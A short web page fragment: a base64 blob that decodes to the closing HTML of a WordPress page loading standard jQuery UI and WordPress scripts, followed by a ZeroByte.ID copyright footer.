ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3VpL2NvcmUubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS93aWRnZXQubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS90YWJzLm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvYWNjb3JkaW9uLm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvcG9zaXRpb24ubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS9tZW51Lm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy93cC1hMTF5Lm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgovKiA8IVtDREFUQVsgKi8KdmFyIHVpQXV0b2NvbXBsZXRlTDEwbiA9IHsibm9SZXN1bHRzIjoiTm8gcmVzdWx0cyBmb3VuZC4iLCJvbmVSZXN1bHQiOiIxIHJlc3VsdCBmb3VuZC4gVXNlIHVwIGFuZCBkb3duIGFycm93IGtleXMgdG8gbmF2aWdhdGUuIiwibWFueVJlc3VsdHMiOiIlZCByZXN1bHRzIGZvdW5kLiBVc2UgdXAgYW5kIGRvd24gYXJyb3cga2V5cyB0byBuYXZpZ2F0ZS4iLCJpdGVtU2VsZWN0ZWQiOiJJdGVtIHNlbGVjdGVkLiJ9OwovKiBdXT4gKi8KPC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3VpL2F1dG9jb21wbGV0ZS5taW4uanM/dmVyPTEuMTEuNCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3VpL21vdXNlLm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvc2xpZGVyLm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy93cC1lbWJlZC5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CgoJCgo8L2JvZHk+CjwvaHRtbD4iO30=
© 2017 -
ZeroByte.ID
.